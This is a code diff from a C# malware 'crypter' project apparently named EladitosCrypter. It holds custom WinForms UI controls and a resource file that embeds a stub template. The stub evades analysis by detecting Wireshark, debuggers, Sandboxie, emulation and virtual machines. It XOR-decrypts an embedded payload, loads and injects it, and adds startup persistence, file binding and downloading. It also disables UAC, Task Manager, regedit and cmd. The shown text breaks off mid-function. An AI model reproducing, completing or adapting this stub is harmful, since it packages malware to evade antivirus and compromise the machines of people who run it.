||||
private bool isMouseDown;
|
||||
|
||||
private Pen borderColor;
|
||||
private SolidBrush textColor;
|
||||
private SolidBrush fillColor;
|
||||
private SolidBrush downColor;
|
||||
|
||||
private StringFormat stringformat;
|
||||
|
||||
public InstaButton()
|
||||
{
|
||||
borderColor = new Pen(Color.FromArgb(49, 49, 49));
|
||||
textColor = new SolidBrush(Color.FromArgb(249, 249, 249));
|
||||
fillColor = new SolidBrush(Color.FromArgb(49, 49, 49));
|
||||
downColor = new SolidBrush(Color.FromArgb(78, 123, 160));
|
||||
|
||||
stringformat = new StringFormat { Alignment = StringAlignment.Center, LineAlignment = StringAlignment.Center };
|
||||
|
||||
//Set defaults
|
||||
Font = new Font("Verdana", 7.0F);
|
||||
ForeColor = textColor.Color;
|
||||
}
|
||||
|
||||
protected override void OnMouseDown(MouseEventArgs e)
|
||||
{
|
||||
isMouseDown = true;
|
||||
Invalidate();
|
||||
}
|
||||
|
||||
protected override void OnMouseUp(MouseEventArgs e)
|
||||
{
|
||||
isMouseDown = false;
|
||||
Invalidate();
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
G = e.Graphics;
|
||||
G.Clear(BackColor);
|
||||
|
||||
SolidBrush currentBrush;
|
||||
|
||||
if (isMouseDown)
|
||||
currentBrush = downColor;
|
||||
else
|
||||
currentBrush = fillColor;
|
||||
|
||||
G.DrawRectangle(borderColor, new Rectangle(0, 0, Width, Height));
|
||||
G.FillRectangle(currentBrush, new Rectangle(0, 0, Width, Height));
|
||||
G.DrawString(Text, Font, new SolidBrush(ForeColor), new Point(Width / 2, Height / 2), stringformat);
|
||||
}
|
||||
}
|
||||
|
||||
internal class InstaTabControl : TabControl
|
||||
{
|
||||
private Pen borderColor;
|
||||
private SolidBrush textColor;
|
||||
private SolidBrush fillColor;
|
||||
private SolidBrush downColor;
|
||||
private SolidBrush fillbodyColor;
|
||||
|
||||
public InstaTabControl()
|
||||
{
|
||||
SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.ResizeRedraw | ControlStyles.UserPaint | ControlStyles.DoubleBuffer, true);
|
||||
DoubleBuffered = true;
|
||||
SizeMode = TabSizeMode.Fixed;
|
||||
Alignment = TabAlignment.Left;
|
||||
ItemSize = new Size(30, 152);
|
||||
|
||||
borderColor = new Pen(Color.FromArgb(49, 49, 49));
|
||||
textColor = new SolidBrush(Color.FromArgb(249, 249, 249));
|
||||
fillColor = new SolidBrush(Color.FromArgb(49, 49, 49));
|
||||
downColor = new SolidBrush(Color.FromArgb(78, 123, 160));
|
||||
fillbodyColor = new SolidBrush(Color.FromArgb(212, 212, 212));
|
||||
|
||||
//Set defaults
|
||||
Font = new Font("Verdana", 7.0F);
|
||||
ForeColor = textColor.Color;
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
Bitmap B = new Bitmap(Width, Height);
|
||||
Graphics G = Graphics.FromImage(B);
|
||||
G.Clear(fillbodyColor.Color);
|
||||
|
||||
|
||||
|
||||
for (int i = 0; i <= TabCount - 1; i++)
|
||||
{
|
||||
Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1));
|
||||
|
||||
if (i == SelectedIndex)
|
||||
{
|
||||
G.FillRectangle(downColor, new Rectangle(new Point(x2.Location.X, x2.Location.Y), new Size(GetTabRect(i).Size.Width, GetTabRect(i).Size.Height)));
|
||||
}
|
||||
else
|
||||
{
|
||||
G.FillRectangle(fillColor, new Rectangle(new Point(x2.Location.X, x2.Location.Y), new Size(GetTabRect(i).Size.Width, GetTabRect(i).Size.Height)));
|
||||
}
|
||||
|
||||
G.DrawString(TabPages[i].Text, Font, new SolidBrush(ForeColor), new Rectangle(x2.Location.X + 6, x2.Location.Y, x2.Width - 20, x2.Height), new StringFormat
|
||||
{
|
||||
LineAlignment = StringAlignment.Center,
|
||||
Alignment = StringAlignment.Near
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
e.Graphics.DrawImage((Image)B.Clone(), 0, 4);
|
||||
|
||||
G.Dispose();
|
||||
B.Dispose();
|
||||
}
|
||||
|
||||
public override Color BackColor
|
||||
{
|
||||
get
|
||||
{
|
||||
return fillbodyColor.Color;
|
||||
}
|
||||
set
|
||||
{
|
||||
base.BackColor = value;
|
||||
}
|
||||
}
|
||||
|
||||
protected override void OnControlAdded(ControlEventArgs e)
|
||||
{
|
||||
e.Control.BackColor = fillbodyColor.Color;
|
||||
e.Control.Invalidate();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
internal class InstaProgressBar : Control
|
||||
{
|
||||
/// <summary>
|
||||
/// Value in percentage.
|
||||
/// </summary>
|
||||
public float Value { get { return _value; } set { _value = value; Invalidate(); } }
|
||||
private float _value;
|
||||
|
||||
/// <summary>
|
||||
/// Sets or gets the visibility setting for the percentage value.
|
||||
/// </summary>
|
||||
public bool ShowPercentage { get; set; }
|
||||
|
||||
private Graphics G;
|
||||
|
||||
private Pen borderColor;
|
||||
private SolidBrush textColor;
|
||||
private SolidBrush fillColor;
|
||||
private SolidBrush downColor;
|
||||
|
||||
private StringFormat stringformat;
|
||||
|
||||
public InstaProgressBar()
|
||||
{
|
||||
this.SetStyle(ControlStyles.OptimizedDoubleBuffer, true);
|
||||
|
||||
borderColor = new Pen(Color.FromArgb(49, 49, 49));
|
||||
textColor = new SolidBrush(Color.FromArgb(249, 249, 249));
|
||||
fillColor = new SolidBrush(Color.FromArgb(49, 49, 49));
|
||||
downColor = new SolidBrush(Color.FromArgb(78, 123, 160));
|
||||
|
||||
stringformat = new StringFormat { Alignment = StringAlignment.Center, LineAlignment = StringAlignment.Center };
|
||||
ShowPercentage = true;
|
||||
|
||||
//Set defaults
|
||||
Font = new Font("Verdana", 7.0F);
|
||||
ForeColor = textColor.Color;
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
G = e.Graphics;
|
||||
|
||||
float percent = ((float)Width / 100) * Value;
|
||||
|
||||
G.DrawRectangle(borderColor, new Rectangle(0, 0, Width, Height));
|
||||
G.FillRectangle(fillColor, new Rectangle(0, 0, Width, Height));
|
||||
G.FillRectangle(downColor, new Rectangle(2, 2, (int)percent - 4, Height - 4));
|
||||
|
||||
if (ShowPercentage)
|
||||
G.DrawString(string.Format("{0}%", Value), Font, new SolidBrush(ForeColor), new Point((Width + 2) / 2, (Height + 2) / 2), stringformat);
|
||||
}
|
||||
}
|
||||
|
||||
internal class InstaCheckBox : Control
|
||||
{
|
||||
public bool Checked { get; set; }
|
||||
public CheckStyleType CheckStyle { get; set; }
|
||||
|
||||
private Graphics G;
|
||||
|
||||
private Pen borderColor;
|
||||
private SolidBrush textColor;
|
||||
private SolidBrush fillColor;
|
||||
private SolidBrush downColor;
|
||||
|
||||
private StringFormat stringformat;
|
||||
|
||||
public InstaCheckBox()
|
||||
{
|
||||
borderColor = new Pen(Color.FromArgb(49, 49, 49));
|
||||
textColor = new SolidBrush(Color.FromArgb(49, 49, 49));
|
||||
fillColor = new SolidBrush(Color.FromArgb(49, 49, 49));
|
||||
downColor = new SolidBrush(Color.FromArgb(78, 123, 160));
|
||||
|
||||
stringformat = new StringFormat { Alignment = StringAlignment.Center, LineAlignment = StringAlignment.Center };
|
||||
|
||||
|
||||
//Set defaults
|
||||
Font = new Font("Verdana", 7.0F);
|
||||
ForeColor = textColor.Color;
|
||||
Checked = true;
|
||||
CheckStyle = CheckStyleType.Square;
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
G = e.Graphics;
|
||||
|
||||
switch (CheckStyle)
|
||||
{
|
||||
case CheckStyleType.Square:
|
||||
G.DrawRectangle(borderColor, new Rectangle(0, 0, 12, 12));
|
||||
G.DrawString(Text, Font, new SolidBrush(ForeColor), 14, 0);
|
||||
|
||||
if (Checked)
|
||||
G.FillRectangle(downColor, new Rectangle(2, 2, 9, 9));
|
||||
break;
|
||||
case CheckStyleType.Round:
|
||||
G.DrawEllipse(borderColor, new Rectangle(0, 0, 13, 13));
|
||||
G.DrawString(Text, Font, new SolidBrush(ForeColor), 14, 0);
|
||||
|
||||
if (Checked)
|
||||
G.FillEllipse(downColor, new Rectangle(2, 2, 9, 9));
|
||||
break;
|
||||
case CheckStyleType.Checkmark:
|
||||
G.DrawRectangle(borderColor, new Rectangle(0, 0, 12, 12));
|
||||
G.DrawString(Text, Font, new SolidBrush(ForeColor), 14, 0);
|
||||
|
||||
if (Checked)
|
||||
{
|
||||
G.DrawLine(new Pen(downColor.Color, 2), 3, 5, 7, 9);
|
||||
G.DrawLine(new Pen(downColor.Color, 2), 6, 9, 9, 3);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
protected override void OnMouseClick(MouseEventArgs e)
|
||||
{
|
||||
Checked = !Checked;
|
||||
Invalidate();
|
||||
}
|
||||
|
||||
public enum CheckStyleType
|
||||
{
|
||||
Square = 0,
|
||||
Round = 1,
|
||||
Checkmark = 2
|
||||
}
|
||||
}
|
||||
|
||||
internal class InstaSeperator : Control
|
||||
{
|
||||
public float Thickness { get; set; }
|
||||
public bool IsVertical { get; set; }
|
||||
|
||||
Graphics G;
|
||||
|
||||
public InstaSeperator()
|
||||
{
|
||||
Thickness = 1;
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
G = e.Graphics;
|
||||
|
||||
if (IsVertical)
|
||||
G.DrawLine(new Pen(Color.FromArgb(78, 123, 160), Thickness), 0, 0, 0, Height);
|
||||
else
|
||||
G.DrawLine(new Pen(Color.FromArgb(78, 123, 160), Thickness), 0, 0, Width, 0);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
internal class InstaLabel : Control
|
||||
{
|
||||
private Graphics G;
|
||||
|
||||
private SolidBrush textColor;
|
||||
|
||||
public InstaLabel()
|
||||
{
|
||||
textColor = new SolidBrush(Color.FromArgb(49, 49, 49));
|
||||
|
||||
//Set defaults
|
||||
Font = new Font("Verdana", 7.0F);
|
||||
ForeColor = textColor.Color;
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
G = e.Graphics;
|
||||
|
||||
G.DrawString(Text, Font, new SolidBrush(ForeColor), 0, 0);
|
||||
}
|
||||
}
|
||||
|
||||
public class InstaListView : ListView
|
||||
{
|
||||
public InstaListView()
|
||||
{
|
||||
this.DoubleBuffered = true;
|
||||
this.OwnerDraw = true;
|
||||
this.MultiSelect = false;
|
||||
this.FullRowSelect = true;
|
||||
}
|
||||
|
||||
private Brush white = new SolidBrush(Color.White);
|
||||
private Brush black = new SolidBrush(Color.Black);
|
||||
private Pen bluePen = new Pen(Color.FromArgb(78, 123, 160));
|
||||
private Pen grayPen = new Pen(Color.FromArgb(49, 49, 49));
|
||||
|
||||
protected override void OnDrawColumnHeader(DrawListViewColumnHeaderEventArgs e)
|
||||
{
|
||||
var textSize = TextRenderer.MeasureText(e.Header.Text, this.Font);
|
||||
if (e.Header.Width < (int)textSize.Width)
|
||||
{
|
||||
e.Header.Width = (e.Header.Width + textSize.Width);
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
e.Graphics.FillRectangle(new SolidBrush(grayPen.Color), e.Bounds.X, e.Bounds.Y, e.Header.Width, e.Bounds.Height - 3);
|
||||
e.Graphics.DrawLine(new Pen(white), e.Bounds.X, e.Bounds.Y, e.Bounds.X, e.Bounds.Height - 4);
|
||||
using (Font font = new Font(this.Font.FontFamily, this.Font.Size, FontStyle.Bold))
|
||||
{
|
||||
e.Graphics.DrawString(e.Header.Text, font, white, e.Bounds.X + ((e.Header.Width / 2) - (textSize.Width / 2)), (e.Bounds.Y / 2));
|
||||
}
|
||||
|
||||
if (e.ColumnIndex == (this.Columns.Count - 1))
|
||||
{
|
||||
int newlength = this.Width - (e.Bounds.X + e.Bounds.Width);
|
||||
e.Graphics.FillRectangle(new SolidBrush(grayPen.Color), (this.Width - newlength), e.Bounds.Y, newlength, e.Bounds.Height - 3);
|
||||
}
|
||||
}
|
||||
|
||||
protected override void OnDrawItem(DrawListViewItemEventArgs e)
|
||||
{
|
||||
if (e.Item.Selected)
|
||||
{
|
||||
Rectangle rowBounds = e.Bounds;
|
||||
int leftMargin = e.Item.GetBounds(ItemBoundsPortion.Label).Left;
|
||||
Rectangle bounds = new Rectangle(rowBounds.Left, rowBounds.Top, rowBounds.Width, rowBounds.Height);
|
||||
e.Graphics.FillRectangle(new SolidBrush(Color.FromArgb(200, bluePen.Color)), bounds.X, bounds.Y, bounds.Width, bounds.Height);
|
||||
}
|
||||
else
|
||||
{
|
||||
e.DrawDefault = true;
|
||||
}
|
||||
}
|
||||
|
||||
protected override void OnDrawSubItem(DrawListViewSubItemEventArgs e)
|
||||
{
|
||||
if (e.Item.Selected)
|
||||
{
|
||||
Rectangle rowBounds = e.SubItem.Bounds;
|
||||
Rectangle labelBounds = e.Item.GetBounds(ItemBoundsPortion.Label);
|
||||
int leftMargin = labelBounds.Left - 1;
|
||||
Rectangle bounds = new Rectangle(rowBounds.Left + leftMargin, rowBounds.Top, e.ColumnIndex == 0 ? labelBounds.Width : (rowBounds.Width - leftMargin - 1), rowBounds.Height);
|
||||
TextFormatFlags align = TextFormatFlags.Default;
|
||||
switch (this.Columns[e.ColumnIndex].TextAlign)
|
||||
{
|
||||
case HorizontalAlignment.Right:
|
||||
align = TextFormatFlags.Right;
|
||||
break;
|
||||
case HorizontalAlignment.Center:
|
||||
align = TextFormatFlags.HorizontalCenter;
|
||||
break;
|
||||
default:
|
||||
align = TextFormatFlags.Left;
|
||||
break;
|
||||
}
|
||||
|
||||
TextRenderer.DrawText(e.Graphics, e.SubItem.Text, this.Font, bounds, this.ForeColor,
|
||||
align | TextFormatFlags.SingleLine | TextFormatFlags.GlyphOverhangPadding | TextFormatFlags.VerticalCenter | TextFormatFlags.WordEllipsis);
|
||||
}
|
||||
}
|
||||
|
||||
protected override void OnFontChanged(EventArgs e)
|
||||
{
|
||||
base.OnFontChanged(e);
|
||||
}
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("user32.dll", CharSet = System.Runtime.InteropServices.CharSet.Auto)]
|
||||
static extern IntPtr SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam);
|
||||
|
||||
protected override void OnSelectedIndexChanged(EventArgs e)
|
||||
{
|
||||
base.OnSelectedIndexChanged(e);
|
||||
SendMessage(Handle, 0x127, 0x10001, 0);
|
||||
}
|
||||
protected override void OnEnter(EventArgs e)
|
||||
{
|
||||
base.OnEnter(e);
|
||||
SendMessage(Handle, 0x127, 0x10001, 0);
|
||||
}
|
||||
protected override void OnPreviewKeyDown(PreviewKeyDownEventArgs e)
|
||||
{
|
||||
base.OnPreviewKeyDown(e);
|
||||
SendMessage(Handle, 0x127, 0x10001, 0);
|
||||
}
|
||||
}
|
||||
+118
@@ -0,0 +1,118 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// Ce code a été généré par un outil.
|
||||
// Version du runtime :4.0.30319.34209
|
||||
//
|
||||
// Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si
|
||||
// le code est régénéré.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace EladitosCrypter.Properties {
|
||||
using System;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées.
|
||||
/// </summary>
|
||||
// Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder
|
||||
// à l'aide d'un outil, tel que ResGen ou Visual Studio.
|
||||
// Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen
|
||||
// avec l'option /str ou régénérez votre projet VS.
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
internal class Resources {
|
||||
|
||||
private static global::System.Resources.ResourceManager resourceMan;
|
||||
|
||||
private static global::System.Globalization.CultureInfo resourceCulture;
|
||||
|
||||
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
|
||||
internal Resources() {
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Retourne l'instance ResourceManager mise en cache utilisée par cette classe.
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Resources.ResourceManager ResourceManager {
|
||||
get {
|
||||
if (object.ReferenceEquals(resourceMan, null)) {
|
||||
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("EladitosCrypter.Properties.Resources", typeof(Resources).Assembly);
|
||||
resourceMan = temp;
|
||||
}
|
||||
return resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Remplace la propriété CurrentUICulture du thread actuel pour toutes
|
||||
/// les recherches de ressources à l'aide de cette classe de ressource fortement typée.
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Globalization.CultureInfo Culture {
|
||||
get {
|
||||
return resourceCulture;
|
||||
}
|
||||
set {
|
||||
resourceCulture = value;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Recherche une chaîne localisée semblable à using System;
|
||||
///using System.Text;
|
||||
///using System.IO;
|
||||
///using System.Reflection;
|
||||
///using System.Resources;
|
||||
///using System.Threading;
|
||||
///using System.Diagnostics;
|
||||
///using System.Windows.Forms;
|
||||
///using System.Runtime.InteropServices;
|
||||
///using System.Security.Cryptography;
|
||||
///using System.Text.RegularExpressions;
|
||||
///using System.Collections.Generic;
|
||||
///using System.Management;
|
||||
///using System.Reflection;
|
||||
///
|
||||
///namespace AA1
|
||||
/// {
|
||||
/// internal class AA3
|
||||
/// {
|
||||
/// static void Main(string[] PP1PP2)
|
||||
/// {
|
||||
/// [le reste de la chaîne a été tronqué]";.
|
||||
/// </summary>
|
||||
internal static string Source1 {
|
||||
get {
|
||||
return ResourceManager.GetString("Source1", resourceCulture);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Recherche une chaîne localisée semblable à using System;
|
||||
///using System.Text;
|
||||
///using System.IO;
|
||||
///using System.Reflection;
|
||||
///using System.Resources;
|
||||
///using System.Windows.Forms;
|
||||
///using System.Runtime.InteropServices;
|
||||
///using System.Collections.Generic;
|
||||
///using System.Drawing;
|
||||
///
|
||||
///[assembly: AssemblyTitle("[TITLE]")]
|
||||
///[assembly: AssemblyDescription("[ASSDESCRIPTION]")]
|
||||
///[assembly: AssemblyCompany("[COMPANY]")]
|
||||
///[assembly: AssemblyProduct("[PRODUCT]")]
|
||||
///[assembly: AssemblyCopyright("[COPYRIGHT]")]
|
||||
///[assembly: AssemblyVersion("[VERSION]")]
|
||||
///[assembly: Assemb [le reste de la chaîne a été tronqué]";.
|
||||
/// </summary>
|
||||
internal static string stub {
|
||||
get {
|
||||
return ResourceManager.GetString("stub", resourceCulture);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,791 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<data name="Source1" xml:space="preserve">
|
||||
<value>using System;
|
||||
using System.Text;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Threading;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Collections.Generic;
|
||||
using System.Management;
|
||||
using System.Reflection;
|
||||
|
||||
namespace AA1
|
||||
{
|
||||
internal class AA3
|
||||
{
|
||||
static void Main(string[] PP1PP2)
|
||||
{
|
||||
try
|
||||
{
|
||||
Thread.Sleep([SLEEP]);
|
||||
if([ANTI])
|
||||
{
|
||||
if(DWireshark() || IsDebuggerPresent() || DEmulation() ||DSandboxie() || DVM())
|
||||
{
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
string encKey = "[ENCRYPTION]";
|
||||
bool start = [STARTUP];
|
||||
bool bind = [BIND];
|
||||
bool download = [DOWNLOAD];
|
||||
bool message = [MESSAGE];
|
||||
bool disable = true;
|
||||
byte[] bytes = (byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("[RESNAME]");
|
||||
string[] SS1 = Regex.Split(Encoding.Default.GetString(bytes), "MORPHEOUS");
|
||||
Assembly lib = AppDomain.CurrentDomain.Load(BB3(Encoding.Default.GetBytes(SS1[1]), encKey));
|
||||
byte[] server = BB3(Encoding.Default.GetBytes(SS1[0]), encKey);
|
||||
foreach(Type t in lib.GetTypes())
|
||||
{
|
||||
if(t.Name == "RunLib")
|
||||
{
|
||||
if(start)
|
||||
{
|
||||
t.InvokeMember("sup", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{Assembly.GetEntryAssembly().Location,"[SFILE]", "[SNAME]", false});
|
||||
}
|
||||
t.InvokeMember("Inj", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{server, "[INJECT]", [PERSISTENCE] ,false, false,"[SFILE]", PP1PP2});
|
||||
if(bind)
|
||||
{
|
||||
t.InvokeMember("Bind", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{BB3((byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("bind"),encKey), "[BINDONCE]"});
|
||||
}
|
||||
if(download)
|
||||
{
|
||||
t.InvokeMember("d", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{Encoding.Default.GetString(BB3((byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("dl"), encKey)), "[DLONCE]"});
|
||||
}
|
||||
if(message)
|
||||
{
|
||||
t.InvokeMember("mb", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{"[BODY]","[TITLE]","warning", "[MSGONCE]"});
|
||||
}
|
||||
if(disable)
|
||||
{
|
||||
|
||||
t.InvokeMember("dbl", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{new bool[]{[UAC],[TASKMGR],[REGEDIT],[CMD]}});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.ToString());
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] BB3(byte[] DD3, string DD2)
|
||||
{
|
||||
byte[] DD1 = System.Text.Encoding.ASCII.GetBytes(DD2);
|
||||
for (int i = 0; i < DD3.Length; i++) DD3[i] ^= (byte)(DD1[i % DD2.Length] >> (i + 5 + DD1.Length) & 255);
|
||||
return DD3;
|
||||
}
|
||||
|
||||
//DWireshark() || IsDebuggerPresent() || DEmulation() ||DSandboxie() || DVM()
|
||||
[DllImport("kernel32")]
|
||||
static extern bool IsDebuggerPresent();
|
||||
private static bool DWireshark()
|
||||
{
|
||||
Process[] ProcessList = Process.GetProcesses();
|
||||
foreach (Process proc in ProcessList)
|
||||
{
|
||||
if (proc.MainWindowTitle.Equals("The Wireshark Network Analyzer"))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
private static bool DEmulation()
|
||||
{
|
||||
long tickCount = Environment.TickCount;
|
||||
Thread.Sleep(500);
|
||||
long tickCount2 = Environment.TickCount;
|
||||
if (((tickCount2 - tickCount) < 500L))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
else return false;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
private static bool DSandboxie()
|
||||
{
|
||||
if (GetModuleHandle("SbieDll.dll").ToInt32() != 0)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
else return false;
|
||||
}
|
||||
public static bool DVM()
|
||||
{
|
||||
bool result = false;
|
||||
